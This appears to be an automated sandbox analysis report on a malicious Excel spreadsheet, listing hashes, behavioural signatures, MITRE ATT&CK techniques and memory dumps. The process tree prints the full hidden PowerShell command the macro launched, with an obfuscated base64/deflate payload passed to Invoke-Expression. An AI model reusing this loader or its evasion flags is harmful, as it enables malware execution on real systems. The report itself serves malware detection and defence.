e4b272b64e21ab3f62479372b7466e68f81114e5b3e7b7479b7a0472580a2e68

General

Target

e4b272b64e21ab3f62479372b7466e68f81114e5b3e7b7479b7a0472580a2e68.xls
Size

43KB
MD5

d9464ee377d39336b2d7e67d5ea1817f
SHA1

2b1fa3902f353209be180191dee90a984e1ba0a9
SHA256

e4b272b64e21ab3f62479372b7466e68f81114e5b3e7b7479b7a0472580a2e68
SHA512

a261e2a9fc7ab0f5fe905621a6fa0f3a94179fa4e8cd40d24396e2d25f519f701e48c5d3c0773413e6e07cb8fa06f0cfe7524d218b3d1469f55cc1adbf881a27
SSDEEP

768:mzmB+k3hOdsylKlgryzc4bNhZFGzE+cL2knAJgRX42AAbXwrlIRbxCca8yfMy:+k3hOdsylKlgryzc4bNhZFGzE+cL2kno

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4392	1384	powershell.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1384 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

4392 powershell.exe
4392 powershell.exe
4392 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4392 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1384 EXCEL.EXE
1384 EXCEL.EXE

pid	process
4392	powershell.exe
4392	powershell.exe
4392	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4392	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
1384	EXCEL.EXE
1384	EXCEL.EXE
1384	EXCEL.EXE
1384	EXCEL.EXE
1384	EXCEL.EXE
1384	EXCEL.EXE
1384	EXCEL.EXE
1384	EXCEL.EXE
1384	EXCEL.EXE
1384	EXCEL.EXE
1384	EXCEL.EXE
1384	EXCEL.EXE

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 1384 wrote to memory of 4392	1384	EXCEL.EXE	powershell.exe
PID 1384 wrote to memory of 4392	1384	EXCEL.EXE	powershell.exe
PID 1384 wrote to memory of 4392	1384	EXCEL.EXE	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\e4b272b64e21ab3f62479372b7466e68f81114e5b3e7b7479b7a0472580a2e68.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1384

C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\" nVRRb9pIEH7nV4ysPclWsHGApg1WpKakaXNXUi6kSe8QOi32gLesd531OphQ/vuNiY+kr/fi9Yxn5/tm5huzBziD905reiHlVZZrY11nhUah7HWDRErHm0FezqWIobDc0oGVpe9wpezYGrgTxpZcnkupY7fxyfw8SQwWRRtKoSwk64l4wsZYPMdSKq1uN/mLe2y0xdh60f/mMjTILd6mdCQvXJ7tc2uNmJcWX5GyPF49MzsEk8/YA/uDe8wNz5CwDpf3WFTCpeTL15HPaFcJleG8b1mz2bKEOuycfxhefLz89Pnq9z++jK6/jv+8mdx+u7v//tfffB4nuFim4sdKZkrnD6aw5eO62jyFx91e/83J23enTnCrhyk358bwjeu1FqWKa3SIXfbobcGgLakPrjsldtPZDNjjrzfgJ4yQF6VB/+v8B7UZ/EmZeQE94DcIq+MwBB8f4LTr7V6yW9iyRc3eiY6DoPdzoam4OPX1PgV9OzoDlkzdJVrfcJXoDPyMVyKjrCwJvqBa2tSb7aKGH1tEr7IjbCE3OqZWw3bKa6IzVhEcPY6A/bOLAFVCFCpiX5AaGlzYugrX/xk3e1wvUKQF19vtXgEst0CMwWXiLIyYAF9aOOnT29GRt2UpIdmIrWrAhBAwAmgKpCsSBPFdUVxRB6Q1IxmBWIBLPS88Dw5dpwiCbQzn9PH7N4fKnF6jDSZoHkWMY01jGXHFl2hmg0HtRTNEY8VC0CbgHZci2ctpyKWckywJc8usKXEXsYyMayq4GdxkU1jMgjr9Pc6HUqCyUYtlwWcSHpoiIPm6Tlmg8QlPWacNzkg/CSl5px+ExF9nOYHNJVU8mlx9hJPgOIJ7QX1cF3B96zlexBSBLiOYfthY3Asqr9uQBRd6raTmyQW33HVSa/Ni0OkUlhoXxFKXSSW5WdK7zgb9fq/TibsdphzwWkxTBuLm11tPOsFsjuYCF0KJ/bTYA/jXtGXgEJVe1wFfkVXkPEbYey6buRbg57wobGrKFqvOmB4MfvkLhW2WN9prh1UvDEM6+qEXTZvW3ZTKigwDWlo0Om+GVAQjboqUS5rQUOcbl+VtCNswfd7tmcsq2ikyel3X89pwAKlLoyuvfz6E2GZVuz7Cevd0aX1VShLQ/gfjTyRiTiuIsSaFvzvph+GOhBCn292/ \" )))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4392

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_odsijg00.hcs.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1384-12-0x00007FFE89080000-0x00007FFE89090000-memory.dmp

Filesize
64KB

Download
memory/1384-4-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/1384-2-0x00007FFE8B830000-0x00007FFE8B840000-memory.dmp

Filesize
64KB

Download
memory/1384-37-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/1384-5-0x00007FFE8B830000-0x00007FFE8B840000-memory.dmp

Filesize
64KB

Download
memory/1384-7-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/1384-6-0x00007FFE8B830000-0x00007FFE8B840000-memory.dmp

Filesize
64KB

Download
memory/1384-8-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/1384-9-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/1384-10-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/1384-0-0x00007FFE8B830000-0x00007FFE8B840000-memory.dmp

Filesize
64KB

Download
memory/1384-11-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/1384-13-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/1384-14-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/1384-15-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/1384-38-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/1384-17-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/1384-18-0x00007FFE89080000-0x00007FFE89090000-memory.dmp

Filesize
64KB

Download
memory/1384-30-0x000001851D3A0000-0x000001851E370000-memory.dmp

Filesize
15.8MB

Download
memory/1384-35-0x000001851D3A0000-0x000001851E370000-memory.dmp

Filesize
15.8MB

Download
memory/1384-36-0x000001851D3A0000-0x000001851E370000-memory.dmp

Filesize
15.8MB

Download
memory/1384-3-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/1384-16-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/1384-39-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/1384-40-0x00007FFECB7B0000-0x00007FFECB9A5000-memory.dmp

Filesize
2.0MB

Download
memory/1384-66-0x000001851D3A0000-0x000001851E370000-memory.dmp

Filesize
15.8MB

Download
memory/1384-65-0x000001851D3A0000-0x000001851E370000-memory.dmp

Filesize
15.8MB

Download
memory/1384-64-0x000001851D3A0000-0x000001851E370000-memory.dmp

Filesize
15.8MB

Download
memory/1384-1-0x00007FFE8B830000-0x00007FFE8B840000-memory.dmp

Filesize
64KB

Download
memory/4392-61-0x0000000006440000-0x000000000648C000-memory.dmp

Filesize
304KB

Download
memory/4392-60-0x0000000006400000-0x000000000641E000-memory.dmp

Filesize
120KB

Download
memory/4392-48-0x0000000005CA0000-0x0000000005D06000-memory.dmp

Filesize
408KB

Download
memory/4392-45-0x0000000004FC0000-0x0000000004FD0000-memory.dmp

Filesize
64KB

Download
memory/4392-54-0x0000000005D80000-0x0000000005DE6000-memory.dmp

Filesize
408KB

Download
memory/4392-46-0x0000000005600000-0x0000000005C28000-memory.dmp

Filesize
6.2MB

Download
memory/4392-47-0x00000000053D0000-0x00000000053F2000-memory.dmp

Filesize
136KB

Download
memory/4392-59-0x0000000005DF0000-0x0000000006144000-memory.dmp

Filesize
3.3MB

Download
memory/4392-41-0x0000000074840000-0x0000000074FF0000-memory.dmp

Filesize
7.7MB

Download
memory/4392-43-0x0000000002D70000-0x0000000002DA6000-memory.dmp

Filesize
216KB

Download
memory/4392-44-0x0000000004FC0000-0x0000000004FD0000-memory.dmp

Filesize
64KB

Download
memory/4392-67-0x0000000004FC0000-0x0000000004FD0000-memory.dmp

Filesize
64KB

Download
memory/4392-68-0x0000000007AD0000-0x000000000814A000-memory.dmp

Filesize
6.5MB

Download
memory/4392-69-0x0000000007470000-0x000000000748A000-memory.dmp

Filesize
104KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads